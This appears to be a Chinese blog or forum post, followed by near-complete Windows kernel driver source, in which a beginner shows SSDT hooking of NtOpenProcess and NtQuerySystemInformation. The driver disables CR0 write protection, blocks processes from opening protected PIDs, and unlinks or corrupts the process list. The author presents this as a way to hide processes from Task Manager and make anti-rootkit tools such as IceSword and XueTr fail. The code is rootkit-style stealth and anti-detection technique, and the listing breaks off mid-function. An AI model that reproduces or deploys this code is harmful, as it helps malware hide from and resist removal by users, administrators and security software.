SSDT HOOK技術輕鬆讓最新版冰刃、XueTr失效
剛開始學驅動,成功HOOK NtOpenProces 現在本想試試HOOK NtQuerySystemInformation,沒想打它的結構N多N長,也讓我很驚訝,這個API居然能獲取或者設定超過50多種的資訊。
參考網上的一些程式碼,看的我暈頭轉向的..也沒點解釋,而且也沒法編譯...總算搞清楚 程序資訊是以連結串列的形式儲存資料的。雖然沒學過連結串列,但也大概有所瞭解。在做實驗過程中,編譯出錯N次,系統藍屏了N次,總算完成也理解了。
在這個過程中發現一些有趣的事情,例如,網上大部分程式碼都是HOOK 這個API來實現程序隱藏,其實還可以惡搞程序資訊。最簡單的就是修改要保護程序的PID了。例如:Explorer.exe 的程序PID 是1203,那麼我就可以修改成1234,這樣工作管理員也就獲取到假的 PID 。任何對程序操作的前提條件是能獲取到它的PID,現在PID被修改,結束程序自然也無法成功了。原本想修改成其他的程序的PID,例如,工作管理員的PID是1860,它要結束我們要保護的程序1203,那麼我們就把 1203修改成它的PID1860,這就變成工作管理員自己結束自己了。可惜,不知道為什麼會失敗。嘿嘿,雖然這個失敗了,但是在處理連結串列資料的時候又有新發現,發現破壞連結串列結構,就會實現隱藏所有程序的程序資訊,工作管理員看到的是一片空白,目前最新版的XueTr
看到的也是一篇空白,還有冰刃,一檢視程序就立即報錯。360工作管理員啟動就立即報錯。但是不知道什麼原因居然能產生這種作用!據我所知,冰刃和XueTr貌似不是用常規的方法獲取程序的。所以即使是HOOK NtQuerySystemInformation 移除該程序的所有資訊也能被識別出來。那麼它們應該不是呼叫NtQuerySystemInformation這個獲取程序資訊才對,現在我無意破壞NtQuerySystemInformation 的連結串列結構,居然能影響到它們,太奇怪了。
以下是截圖。
後來經過自己改進,實現了隱藏指定程序,工作管理員可以顯示其他的程序,冰刃和XueTr就無法獲取程序。不過不穩定,工作管理員有時候會報錯或者會顯示出無名的程序但是PID的值卻非常大。沒法,不知道真正原因,所以這個問題也沒法解決。
以下是成功的時候截的圖:
嘿嘿,正因為開始我對連結串列不太熟悉,所以在一次實驗中無意破壞了連結串列的結構,就發現這個現象。哈哈~~~,當然也不能說這發現能跟冰刃和XueTr對抗了,因為採用SSDD HOOK,所以它們很容易就能發現。至於360,倒也沒去測試過,首先載入驅動這一步就得費很多心思了。
以下是SYS完整原始碼:
main.h: 用於初始化驅動程式 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////// // 表示函式執行後 就從記憶體釋放 #define INITCODE code_sge("INIT") // 表示記憶體不足時,可以被置換到硬碟 #define PAGECODE code_seg("PAGE") #pragma once #ifdef __cplusplus extern "C" { #endif #include <ntddk.h> #ifdef __cplusplus } #endif ///////////////////////////////////////////////////////////////////// // 儲存符號連線 用於解除安裝驅動是刪除符號連線 UNICODE_STRING SymLinkName; // 建立裝置 NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[]); // 派遣函式 NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp); // 解除安裝驅動 void UnLoadSys(IN PDRIVER_OBJECT pDriverObject); // 接收到Ring3傳遞的命令則分析並執行 ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp); ///////////////////////////////////////////////////////////////////// // 建立裝置 #pragma INITCODE // 引數: 驅動物件,所建立的裝置名稱,所建立的符號連線名稱 NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[]) { // 建立裝置 UNICODE_STRING DeviceName; RtlInitUnicodeString(&DeviceName, MyDeviceName); NTSTATUS Status; PDEVICE_OBJECT pDevObj; Status = IoCreateDevice(pDriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &pDevObj); if(!NT_SUCCESS(Status)) { if(Status == STATUS_INSUFFICIENT_RESOURCES) { KdPrint(("資源不足!")); } if(Status == STATUS_OBJECT_NAME_EXISTS) { KdPrint(("指定物件名存在!")); } if(Status == STATUS_OBJECT_NAME_COLLISION) { KdPrint(("指定物件名衝突!")); } KdPrint(("建立裝置失敗!")); return Status; } // KdPrint(("裝置建立成功!")); pDevObj->Flags |= DO_BUFFERED_IO; // 建立符號連線 RtlInitUnicodeString(&SymLinkName, MySymLinkName); Status = IoCreateSymbolicLink(&SymLinkName, &DeviceName); if(!NT_SUCCESS(Status)) // 建立符號連線失敗 { KdPrint(("建立符號連線失敗!")); IoDeleteDevice(pDevObj); // 刪除建立的裝置 return Status; } return STATUS_SUCCESS; } #pragma PAGECODE NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp) { ULONG Info = 0; // 得到當前棧指標 PIO_STACK_LOCATION Stack; Stack = IoGetCurrentIrpStackLocation(pIrp); // 區分IRP ULONG IRP = 0; IRP = Stack->MajorFunction; switch(IRP) { case IRP_MJ_DEVICE_CONTROL: { //得到輸入緩衝區大小 ULONG cbin = Stack->Parameters.DeviceIoControl.InputBufferLength; //得到輸出緩衝區大小 ULONG cbout = Stack->Parameters.DeviceIoControl.OutputBufferLength; //得到IOCTL碼 ULONG Ring3_Cmd = Stack->Parameters.DeviceIoControl.IoControlCode; // 掉用回撥函式,按照指定的資訊執行指定動作 Info = CallBack(Ring3_Cmd, pIrp); } break; case IRP_MJ_CREATE: break; case IRP_MJ_CLOSE: break; case IRP_MJ_READ: break; } // 對相應的IRP進行處理 pIrp->IoStatus.Information = Info; pIrp->IoStatus.Status = STATUS_SUCCESS; // 返回成功 // 指示完成此IRP IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; } SSDT_HOOK.h: SSDT HOOK 架構 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 匯出SSDT表 typedef struct _ServiceDescriptorTable { PVOID ServiceTableBase; // SSDT基址 PVOID ServiceCounterTable; // 包含SSDT中每個服務被呼叫次數的計數器,一般由sysenter更新即Ring3轉Ring0中斷 unsigned int NumberOfServices; // 由ServiceTableBase描述服務的數目 PVOID ParamTableBase; // 包含每個系統服務引數位元組數表的基地址-系統服務引數表 }*PServiceDescriptorTable; extern PServiceDescriptorTable KeServiceDescriptorTable; #pragma PAGECODE // 要hook的NTAPI服務號,指向原生API,自己的函式地址 int HOOK_API(IN int NtAPI_ID, OUT LONG *Nt_Addr, IN ULONG MyFun) { if(NtAPI_ID>295) { KdPrint(("NtAPI服務號過大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID)); return 1; } if(!MyFun) { KdPrint(("代替函式地址無效:0x%X", MyFun)); return 2; } // 獲取NtAPI的在SSDT表的地址 LONG *SSDT_NT_Addr = NULL; SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4); *Nt_Addr = *SSDT_NT_Addr; // 取出真正的NtApi地址 KdPrint(("函式原地址存放在SSDT的地址:0x%X", SSDT_NT_Addr)); KdPrint(("讀取該地址獲取真正NtAPI地址:0x%X", *SSDT_NT_Addr)); KdPrint(("代替函式地址:0x%X", MyFun)); if((LONG)SSDT_NT_Addr<0x80000000 ||(LONG)SSDT_NT_Addr>0x90000000) { KdPrint(("函式原地址存放在SSDT的地址獲取失敗:0x%X", SSDT_NT_Addr)); return 3; } if((LONG)*Nt_Addr<0x80000000 ||(LONG)*Nt_Addr>0x90000000) { KdPrint(("原生函式地址獲取失敗:0x%X", SSDT_NT_Addr)); return 3; } // 修改SSDT API地址 __asm { cli mov eax, cr0 and eax, not 10000h mov cr0, eax // 去掉記憶體保護 } *SSDT_NT_Addr = MyFun; // 修改存放在SSDT裡面的地址 __asm { mov eax, cr0 or eax, 10000h mov cr0, eax // 恢復記憶體保護 sti } return 0; } #pragma PAGECODE // 要hook的NTAPI服務號,指向原生API,自己的函式地址 int UnHOOK_API(IN int NtAPI_ID, WCHAR Real_NtAPI_Name[]) { if(NtAPI_ID>295) { KdPrint(("NtAPI服務號過大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID)); return 1; } // 獲取NtAPI的在SSDT表的地址 LONG *SSDT_NT_Addr = NULL; SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4); // 獲取原生NtAPI地址 UNICODE_STRING NtAPI_Name; ULONG Real_NtAPI_Addr; RtlInitUnicodeString(&NtAPI_Name, Real_NtAPI_Name); Real_NtAPI_Addr = (ULONG)MmGetSystemRoutineAddress(&NtAPI_Name); if(Real_NtAPI_Addr<0x80000000 ||Real_NtAPI_Addr>0x90000000) { KdPrint(("獲取原生%ws地址失敗:0x%X",Real_NtAPI_Name, Real_NtAPI_Addr)); return 2; } // 恢復SSDT API地址 __asm { cli mov eax, cr0 and eax, not 10000h mov cr0, eax // 去掉記憶體保護 } *SSDT_NT_Addr = Real_NtAPI_Addr; // 修改存放在SSDT裡面的地址 __asm { mov eax, cr0 or eax, 10000h mov cr0, eax // 恢復記憶體保護 sti } return 0; } NtQuerySystemInformation_Struct.h: 含義如其名 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #ifndef __HOOKFUN_H__ #define __HOOKFUN_H__ typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, // 0 Y N SystemProcessorInformation, // 1 Y N SystemPerformanceInformation, // 2 Y N SystemTimeOfDayInformation, // 3 Y N SystemNotImplemented1, // 4 Y N SystemProcessesAndThreadsInformation, // 5 Y N SystemCallCounts, // 6 Y N SystemConfigurationInformation, // 7 Y N SystemProcessorTimes, // 8 Y N SystemGlobalFlag, // 9 Y Y SystemNotImplemented2, // 10 Y N SystemModuleInformation, // 11 Y N SystemLockInformation, // 12 Y N SystemNotImplemented3, // 13 Y N SystemNotImplemented4, // 14 Y N SystemNotImplemented5, // 15 Y N SystemHandleInformation, // 16 Y N SystemObjectInformation, // 17 Y N SystemPagefileInformation, // 18 Y N SystemInstructionEmulationCounts, // 19 Y N SystemInvalidInfoClass1, // 20 SystemCacheInformation, // 21 Y Y SystemPoolTagInformation, // 22 Y N SystemProcessorStatistics, // 23 Y N SystemDpcInformation, // 24 Y Y SystemNotImplemented6, // 25 Y N SystemLoadImage, // 26 N Y SystemUnloadImage, // 27 N Y SystemTimeAdjustment, // 28 Y Y SystemNotImplemented7, // 29 Y N SystemNotImplemented8, // 30 Y N SystemNotImplemented9, // 31 Y N SystemCrashDumpInformation, // 32 Y N SystemExceptionInformation, // 33 Y N SystemCrashDumpStateInformation, // 34 Y Y/N SystemKernelDebuggerInformation, // 35 Y N SystemContextSwitchInformation, // 36 Y N SystemRegistryQuotaInformation, // 37 Y Y SystemLoadAndCallImage, // 38 N Y SystemPrioritySeparation, // 39 N Y SystemNotImplemented10, // 40 Y N SystemNotImplemented11, // 41 Y N SystemInvalidInfoClass2, // 42 SystemInvalidInfoClass3, // 43 SystemTimeZoneInformation, // 44 Y N SystemLookasideInformation, // 45 Y N SystemSetTimeSlipEvent, // 46 N Y SystemCreateSession, // 47 N Y SystemDeleteSession, // 48 N Y SystemInvalidInfoClass4, // 49 SystemRangeStartInformation, // 50 Y N SystemVerifierInformation, // 51 Y Y SystemAddVerifier, // 52 N Y SystemSessionProcessesInformation // 53 Y N } SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_PROCESSES { // Information Class 5 ULONG NextEntryDelta; // 構成結構列的偏移量 ULONG ThreadCount; // 執行緒數目 ULONG Reserved1[6]; LARGE_INTEGER CreateTime; // 建立時間 LARGE_INTEGER UserTime; // 使用者模式(Ring3)的CPU時間 LARGE_INTEGER KernelTime; // 核心模式(Ring0)的CPU時間 UNICODE_STRING ProcessName; // 程序名稱 KPRIORITY BasePriority; // 程序優先權 ULONG ProcessId; // 程序識別符號 ULONG InheritedFromProcessID; // 控制代碼數目 ULONG HandleCount; // 控制代碼數目 ULONG Reserved2[2]; VM_COUNTERS VmCounters; // 虛擬儲存器的結構 IO_COUNTERS IoCounters; // IO計數結構 // SYSTEM_THREADS Therads[1]; // 程序相關執行緒的結構陣列 } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; /* typedef struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; //CPU核心模式使用時間; LARGE_INTEGER UserTime; //CPU使用者模式使用時間; LARGE_INTEGER CreateTime; //執行緒建立時間; ULONG WaitTime; //等待時間; PVOID StartAddress; //執行緒開始的虛擬地址; CLIENT_ID ClientId; //執行緒識別符號; KPRIORITY Priority; //執行緒優先順序; KPRIORITY BasePriority; //基本優先順序; ULONG ContextSwitchCount; //環境切換數目; THREAD_STATE State; //當前狀態; KWAIT_REASON WaitReason; //等待原因; }SYSTEM_THREADS,*PSYSTEM_THREADS; typedef struct _VM_COUNTERS { ULONG PeakVirtualSize; //虛擬儲存峰值大小; ULONG VirtualSize; //虛擬儲存大小; ULONG PageFaultCount; //頁故障數目; ULONG PeakWorkingSetSize; //工作集峰值大小; ULONG WorkingSetSize; //工作集大小; ULONG QuotaPeakPagedPoolUsage; //分頁池使用配額峰值; ULONG QuotaPagedPoolUsage; //分頁池使用配額; ULONG QuotaPeakNonPagedPoolUsage; //非分頁池使用配額峰值; ULONG QuotaNonPagedPoolUsage; //非分頁池使用配額; ULONG PagefileUsage; //頁檔案使用情況; ULONG PeakPagefileUsage; //頁檔案使用峰值; }VM_COUNTERS,*PVM_COUNTERS; typedef struct _IO_COUNTERS { LARGE_INTEGER ReadOperationCount; //I/O讀運算元目; LARGE_INTEGER WriteOperationCount; //I/O寫運算元目; LARGE_INTEGER OtherOperationCount; //I/O其他運算元目; LARGE_INTEGER ReadTransferCount; //I/O讀資料數目; LARGE_INTEGER WriteTransferCount; //I/O寫資料數目; LARGE_INTEGER OtherTransferCount; //I/O其他操作資料數目; }IO_COUNTERS,*PIO_COUNTERS; typedef struct _SYSTEM_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleTime; //CPU空閒時間; LARGE_INTEGER ReadTransferCount; //I/O讀運算元目; LARGE_INTEGER WriteTransferCount; //I/O寫運算元目; LARGE_INTEGER OtherTransferCount; //I/O其他運算元目; ULONG ReadOperationCount; //I/O讀資料數目; ULONG WriteOperationCount; //I/O寫資料數目; ULONG OtherOperationCount; //I/O其他操作資料數目; ULONG AvailablePages; //可獲得的頁數目; ULONG TotalCommittedPages; //總共提交頁數目; ULONG TotalCommitLimit; //已提交頁數目; ULONG PeakCommitment; //頁提交峰值; ULONG PageFaults; //頁故障數目; ULONG WriteCopyFaults; //Copy-On-Write故障數目; ULONG TransitionFaults; //軟頁故障數目; ULONG Reserved1; ULONG DemandZeroFaults; //需求0故障數; ULONG PagesRead; //讀頁數目; ULONG PageReadIos; //讀頁I/O運算元; ULONG Reserved2[2]; ULONG PagefilePagesWritten; //已寫頁檔案頁數; ULONG PagefilePageWriteIos; //已寫頁檔案運算元; ULONG MappedFilePagesWritten; //已寫對映檔案頁數; ULONG MappedFileWriteIos; //已寫對映檔案運算元; ULONG PagedPoolUsage; //分頁池使用; ULONG NonPagedPoolUsage; //非分頁池使用; ULONG PagedPoolAllocs; //分頁池分配情況; ULONG PagedPoolFrees; //分頁池釋放情況; ULONG NonPagedPoolAllocs; //非分頁池分配情況; ULONG NonPagedPoolFress; //非分頁池釋放情況; ULONG TotalFreeSystemPtes; //系統頁表項釋放總數; ULONG SystemCodePage; //作業系統內碼表數; ULONG TotalSystemDriverPages; //可分頁驅動程式頁數; ULONG TotalSystemCodePages; //作業系統內碼表總數; ULONG SmallNonPagedLookasideListAllocateHits; //小非分頁側視列表分配次數; ULONG SmallPagedLookasideListAllocateHits; //小分頁側視列表分配次數; ULONG Reserved3; ULONG MmSystemCachePage; //系統快取頁數; ULONG PagedPoolPage; //分頁池頁數; ULONG SystemDriverPage; //可分頁驅動頁數; ULONG FastReadNoWait; //非同步快速讀數目; ULONG FastReadWait; //同步快速讀數目; ULONG FastReadResourceMiss; //快速讀資源衝突數; ULONG FastReadNotPossible; //快速讀失敗數; ULONG FastMdlReadNoWait; //非同步MDL快速讀數目; ULONG FastMdlReadWait; //同步MDL快速讀數目; ULONG FastMdlReadResourceMiss; //MDL讀資源衝突數; ULONG FastMdlReadNotPossible; //MDL讀失敗數; ULONG MapDataNoWait; //非同步對映資料次數; ULONG MapDataWait; //同步對映資料次數; ULONG MapDataNoWaitMiss; //非同步對映資料衝突次數; ULONG MapDataWaitMiss; //同步對映資料衝突次數; ULONG PinMappedDataCount; //牽制對映資料數目; ULONG PinReadNoWait; //牽制非同步讀數目; ULONG PinReadWait; //牽制同步讀數目; ULONG PinReadNoWaitMiss; //牽制非同步讀衝突數目; ULONG PinReadWaitMiss; //牽制同步讀衝突數目; ULONG CopyReadNoWait; //非同步拷貝讀次數; ULONG CopyReadWait; //同步拷貝讀次數; ULONG CopyReadNoWaitMiss; //非同步拷貝讀故障次數; ULONG CopyReadWaitMiss; //同步拷貝讀故障次數; ULONG MdlReadNoWait; //非同步MDL讀次數; ULONG MdlReadWait; //同步MDL讀次數; ULONG MdlReadNoWaitMiss; //非同步MDL讀故障次數; ULONG MdlReadWaitMiss; //同步MDL讀故障次數; ULONG ReadAheadIos; //向前讀運算元目; ULONG LazyWriteIos; //LAZY寫運算元目; ULONG LazyWritePages; //LAZY寫頁檔案數目; ULONG DataFlushes; //快取重新整理次數; ULONG DataPages; //快取重新整理頁數; ULONG ContextSwitches; //環境切換數目; ULONG FirstLevelTbFills; //第一層緩衝區填充次數; ULONG SecondLevelTbFills; //第二層緩衝區填充次數; ULONG SystemCall; //系統呼叫次數; }SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION; typedef struct __SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; //空閒時間; LARGE_INTEGER KernelTime; //核心模式時間; LARGE_INTEGER UserTime; //使用者模式時間; LARGE_INTEGER DpcTime; //延遲過程呼叫時間; LARGE_INTEGER InterruptTime; //中斷時間; ULONG InterruptCount; //中斷次數; }SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES; typedef struct _SYSTEM_PAGEFILE_INFORMATION { ULONG NetxEntryOffset; //下一個結構的偏移量; ULONG CurrentSize; //當前頁檔案大小; ULONG TotalUsed; //當前使用的頁檔案數; ULONG PeakUsed; //當前使用的頁檔案峰值數; UNICODE_STRING FileName; //頁檔案的檔名稱; }SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION; typedef struct _SYSTEM_CACHE_INFORMATION { ULONG SystemCacheWsSize; //快取記憶體大小; ULONG SystemCacheWsPeakSize; //快取記憶體峰值大小; ULONG SystemCacheWsFaults; //快取記憶體頁故障數目; ULONG SystemCacheWsMinimum; //快取記憶體最小頁大小; ULONG SystemCacheWsMaximum; //快取記憶體最大頁大小; ULONG TransitionSharedPages; //共享頁數目; ULONG TransitionSharedPagesPeak; //共享頁峰值數目; ULONG Reserved[2]; }SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION; typedef NTSTATUS (* PZW_QUERY_SYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI NewZwQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); */ // ================================================================= // BASIC TYPES // ================================================================= typedef unsigned char BYTE, *PBYTE, **PPBYTE; typedef unsigned short WORD, *PWORD, **PPWORD; typedef unsigned long DWORD, *PDWORD, **PPDWORD; typedef unsigned __int64 QWORD, *PQWORD, **PPQWORD; typedef int BOOL, *PBOOL, **PPBOOL; typedef void **PPVOID; #endif //; HOOK_API.h: HOOK API 原型定義與替代函式的實現 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #include "NtQuerySystemInformation_Struct.h" // NtQuerySystemInformation 函式需要的結構 // 定義NtQuerySystemInformation的原型 extern "C" typedef NTSTATUS __stdcall NTQUERYSYSTEMINFORMATION( // 型別資訊,大概提供50餘種資訊探測或設定 __in SYSTEM_INFORMATION_CLASS SystemInformationClass, // 為我們提供需要獲得的資訊,或是我們需要設定的系統資訊 __out_bcount_opt(SystemInformationLength) PVOID SystemInformation, // SystemInformation 長度,根據探測的資訊型別決定 __in ULONG SystemInformationLength, // 系統返回需要的長度,通常可以設定為NULL __out_opt PULONG ReturnLength ); NTQUERYSYSTEMINFORMATION *RealNtQuerySystemInformation; // 定義NtOpenProcess的原型 extern "C" typedef NTSTATUS __stdcall NTOPENPROCESS ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId ); NTOPENPROCESS *RealNtOpenProcess; // 定義函式指標 用來指向真正的NtOpenProcess函式地址 /////////////////////////////////////////////////////////////////////////////////////////// ULONG _ProcessPID_Len = 0; ULONG _ProcessPID[512] = {0}; BOOL _L_HOOK = FALSE; #pragma PAGECODE BOOL ScanPID(ULONG PID) { for(ULONG i=0; i<_ProcessPID_Len; i++) { if(PID == _ProcessPID[i]) { return TRUE; } } return FALSE; } // 定義自己的NtOpenProcess 用於檢查其傳遞過來的引數 #pragma PAGECODE extern "C" NTSTATUS __stdcall MyNtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId ) { PEPROCESS EP; NTSTATUS rc; HANDLE PID; if( (ClientId != NULL) ) { PID = ClientId->UniqueProcess; // 如果是被保護的PID,則拒絕訪問,並將控制代碼設定為空 // if(PID == (HANDLE)_ProcessPID) if(ScanPID((ULONG)PID)) { //除錯輸出 類似C語言的 Printf ProcessHandle = NULL; //這個是關鍵 rc = STATUS_ACCESS_DENIED; //這個返回值 //PsLookupProcessByProcessId((ULONG)PID,&EP); EP=PsGetCurrentProcess(); KdPrint(("【%s】程序想結束要保護的程序 \n",(PTSTR)((ULONG)EP+0x174))); } else rc = RealNtOpenProcess(ProcessHandle, AccessMask, ObjectAttributes, ClientId); } return rc; } #pragma PAGECODE extern "C" NTSTATUS __stdcall MyNtQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, // 獲取資訊的型別 __out_bcount_opt(SystemInformationLength) PVOID SystemInformation, // 輸出資訊的buf地址 __in ULONG SystemInformationLength, // buf的空間大小 __out_opt PULONG ReturnLength) // 實際寫入的大小 { SYSTEM_PROCESSES *lpspi = 0,*lpspia = 0; lpspi = (SYSTEM_PROCESSES*)SystemInformation; // UNICODE_STRING aProcessName; // RtlInitUnicodeString(&aProcessName, L"Explorer.exe"); NTSTATUS a = RealNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if(SystemInformationClass != 5 || !NT_SUCCESS(a)) { return a; } /* // 這個是隱藏所有的程序 但是冰刃、XueTr能檢測出來 SystemInformation = NULL; return STATUS_ACCESS_DENIED; */ if(_L_HOOK) { // 這個也是隱藏所有的程序 最新版的XueTr無法檢測出來並且也無法顯示正確的程序數等資訊 冰刃檢視程序會報錯 int i = 0; while(lpspi->NextEntryDelta != 0) { i++; if(i==2) { lpspi->NextEntryDelta = 5; lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta); continue; } lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta); } return a; } // 這個是隱藏指定程序 對冰刃、XueTr無效 // 如果節點資訊有效 while(lpspi) { // 判斷該節點資訊是否是我們要保護的程序資訊 // if(RtlEqualUnicodeString(&aProcessName,&lpspi->ProcessName,1)) // if(lpspi->ProcessId == _ProcessPID) if(ScanPID(lpspi->ProcessId)) { // 如果這條要保護的程序資訊是在頭節點 if(lpspia == 0) { // 有頭結點也有下一個節點 即不是唯一的節點 if(lpspi->NextEntryDelta != 0) { // 直接將輸出緩衝區的頭指標指向下一個節點 忽略頭結點的資訊 SystemInformation = (PVOID)((DWORD)SystemInformation + lpspi->NextEntryDelta); // 指標下移 lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta); continue; } else { // 如果只有一個節點且是要隱藏的節點 則將輸出緩衝器置空 SystemInformation = NULL; } } else // 如果是中間節點 則表示該程序資訊是在中間或尾部 { // 如果還有下一個節點 說明該程序資訊是在中間部分 if(lpspi->NextEntryDelta != 0) { // 將該程序資訊的上一個指標結構偏移量指向下一個節點 這樣就可以忽略這個程序的指標資訊 lpspia->NextEntryDelta += lpspi->NextEntryDelta; // 指標移向下一個指標 lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta); continue; } //尾部結點 else { // 如果該程序資訊是在尾部 則直接將程序資訊的上一個指標結構偏移量指向空,這樣整個連結串列就忽略了這個程序資訊連結串列 lpspia->NextEntryDelta = 0; } } } // 儲存這個與我們要保護程序無關的資訊指標~~ lpspia = lpspi; // 如果還有下一個節點 if(lpspi->NextEntryDelta != 0) { // 移動到下一個節點 進行判斷該節點的資訊是不要移除的資訊 lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta); } else { // 如果沒有則置空 結束迴圈 lpspi = NULL; // lpspia->NextEntryDelta = 5; //加上這個就能隱藏指定程序並且冰刃檢視程序會報錯 XT看不到所有的程序 但是能顯示出正確的程序數 工作管理員可能也會報錯 } } return a; } main.cpp: 主函式 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #include <main.h> // 定義Rin3 傳遞下來的指令 因與Ring3定義相同 值必須 >=0x800 #define HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS) #define L_HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED,FILE_ANY_ACCESS) #define UnHOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED,FILE_ANY_ACCESS) extern "C" { #include <SSDT_HOOK.h> // SSDT HOOK 框架 #include <HOOK_API.h> // 要HOOK的函式原型及替代函式 } // 相當於應用程式的main()函式 這是驅動人口函式,凡是驅動被載入均會從這裡開始執行 #pragma INITCODE extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING B) { // 註冊派遣函式 pDriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchRoutine; pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchRoutine; pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRoutine; pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchRoutine; // 設定解除安裝驅動時要執行的程式碼做善後,不設定則無法解除安裝 pDriverObject->DriverUnload = UnLoadSys; // 建立裝置 和 符號連線 CreateMyDevice(pDriverObject, L"\\Device\\L_Device", L"\\??\\LoveMengx_SSDTHOOK_Driver"); KdPrint(("【載入】驅動完畢。")); /////////////////////////////////////////////////////////////////////////////////// LONG NtAPI_Addrs = 0; if(!HOOK_API(122, &NtAPI_Addrs, (ULONG)MyNtOpenProcess)) { KdPrint(("NtOpenProcess HOOK 成功~~", NtAPI_Addrs)); RealNtOpenProcess = (NTOPENPROCESS*)NtAPI_Addrs; } else { KdPrint(("HOOK 失敗~~", NtAPI_Addrs)); } if(!HOOK_API(173, &NtAPI_Addrs, (ULONG)MyNtQuerySystemInformation)) { KdPrint(("NtQuerySystemInformation HOOK 成功~~", NtAPI_Addrs)); RealNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION*)NtAPI_Addrs; } else { KdPrint(("HOOK 失敗~~", NtAPI_Addrs)); } return 1; } // 解除安裝驅動 #pragma PAGECODE void UnLoadSys(IN PDRIVER_OBJECT pDriverObject) { // 刪除裝置 PDEVICE_OBJECT pDev; pDev = pDriverObject->DeviceObject; IoDeleteDevice(pDev); // 刪除符號連線 IoDeleteSymbolicLink(&SymLinkName); KdPrint(("【解除安裝】驅動完畢。")); KdPrint(("-----------------------------------")); } BOOL HOOKAPI(ULONG Process_PID) { if(Process_PID >65536) { return FALSE; } if(!ScanPID(Process_PID)) // 檢查是否存在 { _ProcessPID[_ProcessPID_Len] = Process_PID; _ProcessPID_Len++; } return TRUE; } BOOL UnHOOKAPI() { BOOL Retu = FALSE; _ProcessPID_Len = 0; if(!UnHOOK_API(122, L"NtOpenProcess")) { Retu = TRUE; KdPrint(("NtOpenProcess UnHOOK 成功~~")); } else { Retu = FALSE; KdPrint(("NtOpenProcess UnHOOK 失敗~~")); } if(!UnHOOK_API(173, L"NtQuerySystemInformation")) { Retu = TRUE; KdPrint(("NtQuerySystemInformation UnHOOK 成功~~")); } else { Retu = FALSE; KdPrint(("NtQuerySystemInformation UnHOOK 失敗~~")); } return Retu; } int my_atoi(const char* p) { bool neg_flag = false;// 符號標記 int res = 0;// 結果 if(p[0] == '+' || p[0] == '-') neg_flag = (*p++ != '+'); while(isdigit(*p)) res = res*10 + (*p++ - '0'); return neg_flag ?0 -res : res; } ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp) { // 獲取應用層傳遞下來的資料 char* InputBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer; char* OutputBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer; char Tmp[100] = {0}; ULONG Info = 0; // 分析指令 switch(Ring3_Cmd) { case HOOK: { strcpy(Tmp, InputBuffer); KdPrint(("使用者傳下來的資料 %s %d", Tmp,my_atoi(Tmp) )); if(HOOKAPI(my_atoi(Tmp))) { strcpy(Tmp, "ADD 完畢~"); } else { strcpy(Tmp, "ADD 失敗,PID超過有效範圍~"); } break; } case UnHOOK: { if(UnHOOKAPI()) { 